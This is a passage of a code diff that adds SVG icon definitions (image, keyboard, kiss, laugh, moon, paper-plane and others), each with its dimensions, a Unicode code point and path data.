64z" ], + image: [ 512, 512, [], "f03e", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 336H54a6 6 0 0 1-6-6V118a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v276a6 6 0 0 1-6 6zM128 152c-22.091 0-40 17.909-40 40s17.909 40 40 40 40-17.909 40-40-17.909-40-40-40zM96 352h320v-80l-87.515-87.515c-4.686-4.686-12.284-4.686-16.971 0L192 304l-39.515-39.515c-4.686-4.686-12.284-4.686-16.971 0L96 304v48z" ], + images: [ 576, 512, [], "f302", "M480 416v16c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V176c0-26.51 21.49-48 48-48h16v48H54a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6v-10h48zm42-336H150a6 6 0 0 0-6 6v244a6 6 0 0 0 6 6h372a6 6 0 0 0 6-6V86a6 6 0 0 0-6-6zm6-48c26.51 0 48 21.49 48 48v256c0 26.51-21.49 48-48 48H144c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h384zM264 144c0 22.091-17.909 40-40 40s-40-17.909-40-40 17.909-40 40-40 40 17.909 40 40zm-72 96l39.515-39.515c4.686-4.686 12.284-4.686 16.971 0L288 240l103.515-103.515c4.686-4.686 12.284-4.686 16.971 0L480 208v80H192v-48z" ], + keyboard: [ 576, 512, [], "f11c", "M528 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h480c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm8 336c0 4.411-3.589 8-8 8H48c-4.411 0-8-3.589-8-8V112c0-4.411 3.589-8 8-8h480c4.411 0 8 3.589 8 8v288zM170 270v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-336 82v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm384 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zM122 188v-28c0-6.627-5.373-12-12-12H82c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm96 0v-28c0-6.627-5.373-12-12-12h-28c-6.627 0-12 5.373-12 12v28c0 6.627 5.373 12 12 12h28c6.627 0 12-5.373 12-12zm-98 158v-16c0-6.627-5.373-12-12-12H180c-6.627 0-12 5.373-12 12v16c0 6.627 5.373 12 12 12h216c6.627 0 12-5.373 12-12z" ], + kiss: [ 496, 512, [], "f596", "M168 176c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm136 132c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "kiss-beam": [ 496, 512, [], "f597", "M168 152c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm56-148c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36C290.6 335.3 304 321 304 308zm24-156c-23.8 0-52.7 29.3-56 71.4-.3 3.7 2 7.2 5.6 8.3 3.5 1 7.5-.5 9.3-3.7l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c2.1 3.7 6.2 4.7 9.3 3.7 3.6-1.1 5.9-4.5 5.6-8.3-3.1-42.1-32-71.4-55.8-71.4z" ], + "kiss-wink-heart": [ 504, 512, [], "f598", "M304 308.5c0-19.2-28.8-41.5-71.5-44-3.8-.4-7.4 2.4-8.2 6.2-.9 3.8 1.1 7.7 4.7 9.2l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-5.7 2.4-6 12.2 0 14.8l16.9 7.2c13 5.5 20.8 13.5 20.8 21.5s-7.8 16-20.7 21.5l-17 7.2c-3.6 1.5-5.6 5.4-4.7 9.2.8 3.6 4.1 6.2 7.8 6.2h.5c42.8-2.5 71.5-24.8 71.5-44 0-13-13.4-27.3-35.2-36 21.7-9.1 35.1-23.4 35.1-36.4zm70.5-83.5l9.5 8.5c3.8 3.3 9.3 4 13.7 1.6 4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 5.8 3.1 11.2.7 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0zM136 208.5c0 17.7 14.3 32 32 32s32-14.3 32-32-14.3-32-32-32-32 14.3-32 32zm365.1 194c-8-20.8-31.5-31.5-53.1-25.9l-8.4 2.2-2.3-8.4c-5.9-21.4-27-36.5-49-33-25.2 4-40.6 28.6-34 52.6l22.9 82.6c1.5 5.3 7 8.5 12.4 7.1l83-21.5c24.1-6.3 37.7-31.8 28.5-55.7zM334 436.3c-26.1 12.5-55.2 19.7-86 19.7-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200c0 22.1-3.7 43.3-10.4 63.2 9 6.4 17 14.2 22.6 23.9 6.4.1 12.6 1.4 18.6 2.9 10.9-27.9 17.1-58.2 17.1-90C496 119 385 8 248 8S0 119 0 256s111 248 248 248c35.4 0 68.9-7.5 99.4-20.9-2.5-7.3 4.3 17.2-13.4-46.8z" ], + laugh: [ 496, 512, [], "f599", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 224c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm-160 0c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + "laugh-beam": [ 496, 512, [], "f59a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM328 152c-23.8 0-52.7 29.3-56 71.4-.7 8.6 10.8 11.9 14.9 4.5l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.1-42.1-32-71.4-55.8-71.4zm-201 75.9l9.5-17c7.7-13.7 19.2-21.6 31.5-21.6s23.8 7.9 31.5 21.6l9.5 17c4.1 7.4 15.6 4 14.9-4.5-3.3-42.1-32.2-71.4-56-71.4s-52.7 29.3-56 71.4c-.6 8.5 10.9 11.9 15.1 4.5zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + "laugh-squint": [ 496, 512, [], "f59b", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6S48 309.4 48 256s20.8-103.6 58.6-141.4S194.6 56 248 56s103.6 20.8 141.4 58.6S448 202.6 448 256s-20.8 103.6-58.6 141.4zM343.6 196l33.6-40.3c8.6-10.3-3.8-24.8-15.4-18l-80 48c-7.8 4.7-7.8 15.9 0 20.6l80 48c11.5 6.8 24-7.6 15.4-18L343.6 196zm-209.4 58.3l80-48c7.8-4.7 7.8-15.9 0-20.6l-80-48c-11.6-6.9-24 7.7-15.4 18l33.6 40.3-33.6 40.3c-8.7 10.4 3.8 24.8 15.4 18zM362.4 288H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + "laugh-wink": [ 496, 512, [], "f59c", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm141.4 389.4c-37.8 37.8-88 58.6-141.4 58.6s-103.6-20.8-141.4-58.6C68.8 359.6 48 309.4 48 256s20.8-103.6 58.6-141.4C144.4 76.8 194.6 56 248 56s103.6 20.8 141.4 58.6c37.8 37.8 58.6 88 58.6 141.4s-20.8 103.6-58.6 141.4zM328 164c-25.7 0-55.9 16.9-59.9 42.1-1.7 11.2 11.5 18.2 19.8 10.8l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c8.5 7.4 21.6.3 19.8-10.8-3.8-25.2-34-42.1-59.7-42.1zm-160 60c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm194.4 64H133.6c-8.2 0-14.5 7-13.5 15 7.5 59.2 58.9 105 121.1 105h13.6c62.2 0 113.6-45.8 121.1-105 1-8-5.3-15-13.5-15z" ], + lemon: [ 512, 512, [], "f094", "M484.112 27.889C455.989-.233 416.108-8.057 387.059 8.865 347.604 31.848 223.504-41.111 91.196 91.197-41.277 223.672 31.923 347.472 8.866 387.058c-16.922 29.051-9.1 68.932 19.022 97.054 28.135 28.135 68.011 35.938 97.057 19.021 39.423-22.97 163.557 49.969 295.858-82.329 132.474-132.477 59.273-256.277 82.331-295.861 16.922-29.05 9.1-68.931-19.022-97.054zm-22.405 72.894c-38.8 66.609 45.6 165.635-74.845 286.08-120.44 120.443-219.475 36.048-286.076 74.843-22.679 13.207-64.035-27.241-50.493-50.488 38.8-66.609-45.6-165.635 74.845-286.08C245.573 4.702 344.616 89.086 411.219 50.292c22.73-13.24 64.005 27.288 50.488 50.491zm-169.861 8.736c1.37 10.96-6.404 20.957-17.365 22.327-54.846 6.855-135.779 87.787-142.635 142.635-1.373 10.989-11.399 18.734-22.326 17.365-10.961-1.37-18.735-11.366-17.365-22.326 9.162-73.286 104.167-168.215 177.365-177.365 10.953-1.368 20.956 6.403 22.326 17.364z" ], + "life-ring": [ 512, 512, [], "f1cd", "M256 504c136.967 0 248-111.033 248-248S392.967 8 256 8 8 119.033 8 256s111.033 248 248 248zm-103.398-76.72l53.411-53.411c31.806 13.506 68.128 13.522 99.974 0l53.411 53.411c-63.217 38.319-143.579 38.319-206.796 0zM336 256c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zm91.28 103.398l-53.411-53.411c13.505-31.806 13.522-68.128 0-99.974l53.411-53.411c38.319 63.217 38.319 143.579 0 206.796zM359.397 84.72l-53.411 53.411c-31.806-13.505-68.128-13.522-99.973 0L152.602 84.72c63.217-38.319 143.579-38.319 206.795 0zM84.72 152.602l53.411 53.411c-13.506 31.806-13.522 68.128 0 99.974L84.72 359.398c-38.319-63.217-38.319-143.579 0-206.796z" ], + lightbulb: [ 352, 512, [], "f0eb", "M176 80c-52.94 0-96 43.06-96 96 0 8.84 7.16 16 16 16s16-7.16 16-16c0-35.3 28.72-64 64-64 8.84 0 16-7.16 16-16s-7.16-16-16-16zM96.06 459.17c0 3.15.93 6.22 2.68 8.84l24.51 36.84c2.97 4.46 7.97 7.14 13.32 7.14h78.85c5.36 0 10.36-2.68 13.32-7.14l24.51-36.84c1.74-2.62 2.67-5.7 2.68-8.84l.05-43.18H96.02l.04 43.18zM176 0C73.72 0 0 82.97 0 176c0 44.37 16.45 84.85 43.56 115.78 16.64 18.99 42.74 58.8 52.42 92.16v.06h48v-.12c-.01-4.77-.72-9.51-2.15-14.07-5.59-17.81-22.82-64.77-62.17-109.67-20.54-23.43-31.52-53.15-31.61-84.14-.2-73.64 59.67-128 127.95-128 70.58 0 128 57.42 128 128 0 30.97-11.24 60.85-31.65 84.14-39.11 44.61-56.42 91.47-62.1 109.46a47.507 47.507 0 0 0-2.22 14.3v.1h48v-.05c9.68-33.37 35.78-73.18 52.42-92.16C335.55 260.85 352 220.37 352 176 352 78.8 273.2 0 176 0z" ], + "list-alt": [ 512, 512, [], "f022", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V86a6 6 0 0 1 6-6h404a6 6 0 0 1 6 6v340a6 6 0 0 1-6 6zm-42-92v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm0-96v24c0 6.627-5.373 12-12 12H204c-6.627 0-12-5.373-12-12v-24c0-6.627 5.373-12 12-12h200c6.627 0 12 5.373 12 12zm-252 12c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36zm0 96c0 19.882-16.118 36-36 36s-36-16.118-36-36 16.118-36 36-36 36 16.118 36 36z" ], + map: [ 576, 512, [], "f279", "M560.02 32c-1.96 0-3.98.37-5.96 1.16L384.01 96H384L212 35.28A64.252 64.252 0 0 0 191.76 32c-6.69 0-13.37 1.05-19.81 3.14L20.12 87.95A32.006 32.006 0 0 0 0 117.66v346.32C0 473.17 7.53 480 15.99 480c1.96 0 3.97-.37 5.96-1.16L192 416l172 60.71a63.98 63.98 0 0 0 40.05.15l151.83-52.81A31.996 31.996 0 0 0 576 394.34V48.02c0-9.19-7.53-16.02-15.98-16.02zM224 90.42l128 45.19v285.97l-128-45.19V90.42zM48 418.05V129.07l128-44.53v286.2l-.64.23L48 418.05zm480-35.13l-128 44.53V141.26l.64-.24L528 93.95v288.97z" ], + meh: [ 496, 512, [], "f11a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32zm160-64c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm8 144H160c-13.2 0-24 10.8-24 24s10.8 24 24 24h176c13.2 0 24-10.8 24-24s-10.8-24-24-24z" ], + "meh-blank": [ 496, 512, [], "f5a4", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-80-280c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm160 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32z" ], + "meh-rolling-eyes": [ 496, 512, [], "f5a5", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm88-304c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm0 112c-22.1 0-40-17.9-40-40 0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40zm-104-40c0-39.8-32.2-72-72-72s-72 32.2-72 72 32.2 72 72 72 72-32.2 72-72zm-112 0c0-13.6 7.3-25.1 17.7-32.3-1 2.6-1.7 5.3-1.7 8.3 0 13.3 10.7 24 24 24s24-10.7 24-24c0-2.9-.7-5.7-1.7-8.3 10.4 7.2 17.7 18.7 17.7 32.3 0 22.1-17.9 40-40 40s-40-17.9-40-40zm192 128H184c-13.2 0-24 10.8-24 24s10.8 24 24 24h128c13.2 0 24-10.8 24-24s-10.8-24-24-24z" ], + "minus-square": [ 448, 512, [], "f146", "M108 284c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h232c6.6 0 12 5.4 12 12v32c0 6.6-5.4 12-12 12H108zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "money-bill-alt": [ 640, 512, [], "f3d1", "M320 144c-53.02 0-96 50.14-96 112 0 61.85 42.98 112 96 112 53 0 96-50.13 96-112 0-61.86-42.98-112-96-112zm40 168c0 4.42-3.58 8-8 8h-64c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h16v-55.44l-.47.31a7.992 7.992 0 0 1-11.09-2.22l-8.88-13.31a7.992 7.992 0 0 1 2.22-11.09l15.33-10.22a23.99 23.99 0 0 1 13.31-4.03H328c4.42 0 8 3.58 8 8v88h16c4.42 0 8 3.58 8 8v16zM608 64H32C14.33 64 0 78.33 0 96v320c0 17.67 14.33 32 32 32h576c17.67 0 32-14.33 32-32V96c0-17.67-14.33-32-32-32zm-16 272c-35.35 0-64 28.65-64 64H112c0-35.35-28.65-64-64-64V176c35.35 0 64-28.65 64-64h416c0 35.35 28.65 64 64 64v160z" ], + moon: [ 512, 512, [], "f186", "M279.135 512c78.756 0 150.982-35.804 198.844-94.775 28.27-34.831-2.558-85.722-46.249-77.401-82.348 15.683-158.272-47.268-158.272-130.792 0-48.424 26.06-92.292 67.434-115.836 38.745-22.05 28.999-80.788-15.022-88.919A257.936 257.936 0 0 0 279.135 0c-141.36 0-256 114.575-256 256 0 141.36 114.576 256 256 256zm0-464c12.985 0 25.689 1.201 38.016 3.478-54.76 31.163-91.693 90.042-91.693 157.554 0 113.848 103.641 199.2 215.252 177.944C402.574 433.964 344.366 464 279.135 464c-114.875 0-208-93.125-208-208s93.125-208 208-208z" ], + newspaper: [ 576, 512, [], "f1ea", "M552 64H112c-20.858 0-38.643 13.377-45.248 32H24c-13.255 0-24 10.745-24 24v272c0 30.928 25.072 56 56 56h496c13.255 0 24-10.745 24-24V88c0-13.255-10.745-24-24-24zM48 392V144h16v248c0 4.411-3.589 8-8 8s-8-3.589-8-8zm480 8H111.422c.374-2.614.578-5.283.578-8V112h416v288zM172 280h136c6.627 0 12-5.373 12-12v-96c0-6.627-5.373-12-12-12H172c-6.627 0-12 5.373-12 12v96c0 6.627 5.373 12 12 12zm28-80h80v40h-80v-40zm-40 140v-24c0-6.627 5.373-12 12-12h136c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H172c-6.627 0-12-5.373-12-12zm192 0v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0-144v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12zm0 72v-24c0-6.627 5.373-12 12-12h104c6.627 0 12 5.373 12 12v24c0 6.627-5.373 12-12 12H364c-6.627 0-12-5.373-12-12z" ], + "object-group": [ 512, 512, [], "f247", "M500 128c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v256H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V128h12zm-52-64h32v32h-32V64zM32 64h32v32H32V64zm32 384H32v-32h32v32zm416 0h-32v-32h32v32zm-40-64h-12c-6.627 0-12 5.373-12 12v12H96v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h320v12c0 6.627 5.373 12 12 12h12v256zm-36-192h-84v-52c0-6.628-5.373-12-12-12H108c-6.627 0-12 5.372-12 12v168c0 6.628 5.373 12 12 12h84v52c0 6.628 5.373 12 12 12h200c6.627 0 12-5.372 12-12V204c0-6.628-5.373-12-12-12zm-268-24h144v112H136V168zm240 176H232v-24h76c6.627 0 12-5.372 12-12v-76h56v112z" ], + "object-ungroup": [ 576, 512, [], "f248", "M564 224c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12h-88v-24h12c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12h-72c-6.627 0-12 5.373-12 12v12H96V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v72c0 6.627 5.373 12 12 12h12v160H12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h88v24h-12c-6.627 0-12 5.373-12 12v72c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12V224h12zM352 64h32v32h-32V64zm0 256h32v32h-32v-32zM64 352H32v-32h32v32zm0-256H32V64h32v32zm32 216v-12c0-6.627-5.373-12-12-12H72V128h12c6.627 0 12-5.373 12-12v-12h224v12c0 6.627 5.373 12 12 12h12v160h-12c-6.627 0-12 5.373-12 12v12H96zm128 136h-32v-32h32v32zm280-64h-12c-6.627 0-12 5.373-12 12v12H256v-12c0-6.627-5.373-12-12-12h-12v-24h88v12c0 6.627 5.373 12 12 12h72c6.627 0 12-5.373 12-12v-72c0-6.627-5.373-12-12-12h-12v-88h88v12c0 6.627 5.373 12 12 12h12v160zm40 64h-32v-32h32v32zm0-256h-32v-32h32v32z" ], + "paper-plane": [ 512, 512, [], "f1d8", "M440 6.5L24 246.4c-34.4 19.9-31.1 70.8 5.7 85.9L144 379.6V464c0 46.4 59.2 65.5 86.6 28.6l43.8-59.1 111.9 46.2c5.9 2.4 12.1 3.6 18.3 3.6 8.2 0 16.3-2.1 23.6-6.2 12.8-7.2 21.6-20 23.9-34.5l59.4-387.2c6.1-40.1-36.9-68.8-71.5-48.9zM192 464v-64.6l36.6 15.1L192 464zm212.6-28.7l-153.8-63.5L391 169.5c10.7-15.5-9.5-33.5-23.7-21.2L155.8 332.6 48 288 464 48l-59.4 387.3z" ], + "pause-circle": [ 512, 512, [], "f28b", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm96-280v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16zm-112 0v160c0 8.8-7.2 16-16 16h-48c-8.8 0-16-7.2-16-16V176c0-8.8 7.2-16 16-16h48c8.8 0 16 7.2 16 16z" ], + "play-circle": [ 512, 512, [], "f144", "M371.7 238l-176-107c-15.8-8.8-35.7 2.5-35.7 21v208c0 18.4 19.8 29.8 35.7 21l176-101c16.4-9.1 16.4-32.8 0-42zM504 256C504 119 393 8 256 8S8 119 8 256s111 248 248 248 248-111 248-248zm-448 0c0-110.5 89.5-200 200-200s200 89.5 200 200-89.5 200-200 200S56 366.5 56 256z" ], + "plus-square": [ 448, 512, [], "f0fe", "M352 240v32c0 6.6-5.4 12-12 12h-88v88c0 6.6-5.4 12-12 12h-32c-6.6 0-12-5.4-12-12v-88h-88c-6.6 0-12-5.4-12-12v-32c0-6.6 5.4-12 12-12h88v-88c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v88h88c6.6 0 12 5.4 12 12zm96-160v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z" ], + "question-circle": [ 512, 512, [], "f059", "M256 8C119.043 8 8 119.083 8 256c0 136.997 111.043 248 248 248s248-111.003 248-248C504 119.083 392.957 8 256 8zm0 448c-110.532 0-200-89.431-200-200 0-110.495 89.472-200 200-200 110.491 0 200 89.471 200 200 0 110.53-89.431 200-200 200zm107.244-255.2c0 67.052-72.421 68.084-72.421 92.863V300c0 6.627-5.373 12-12 12h-45.647c-6.627 0-12-5.373-12-12v-8.659c0-35.745 27.1-50.034 47.579-61.516 17.561-9.845 28.324-16.541 28.324-29.579 0-17.246-21.999-28.693-39.784-28.693-23.189 0-33.894 10.977-48.942 29.969-4.057 5.12-11.46 6.071-16.666 2.124l-27.824-21.098c-5.107-3.872-6.251-11.066-2.644-16.363C184.846 131.491 214.94 112 261.794 112c49.071 0 101.45 38.304 101.45 88.8zM298 368c0 23.159-18.841 42-42 42s-42-18.841-42-42 18.841-42 42-42 42 18.841 42 42z" ], + registered: [ 512, 512, [], "f25d", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm110.442-81.791c-53.046-96.284-50.25-91.468-53.271-96.085 24.267-13.879 39.482-41.563 39.482-73.176 0-52.503-30.247-85.252-101.498-85.252h-78.667c-6.617 0-12 5.383-12 12V380c0 6.617 5.383 12 12 12h38.568c6.617 0 12-5.383 12-12v-83.663h31.958l47.515 89.303a11.98 11.98 0 0 0 10.593 6.36h42.81c9.14 0 14.914-9.799 10.51-17.791zM256.933 239.906h-33.875v-64.14h27.377c32.417 0 38.929 12.133 38.929 31.709-.001 20.913-11.518 32.431-32.431 32.431z" ], + "sad-cry": [ 496, 512, [], "f5b3", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 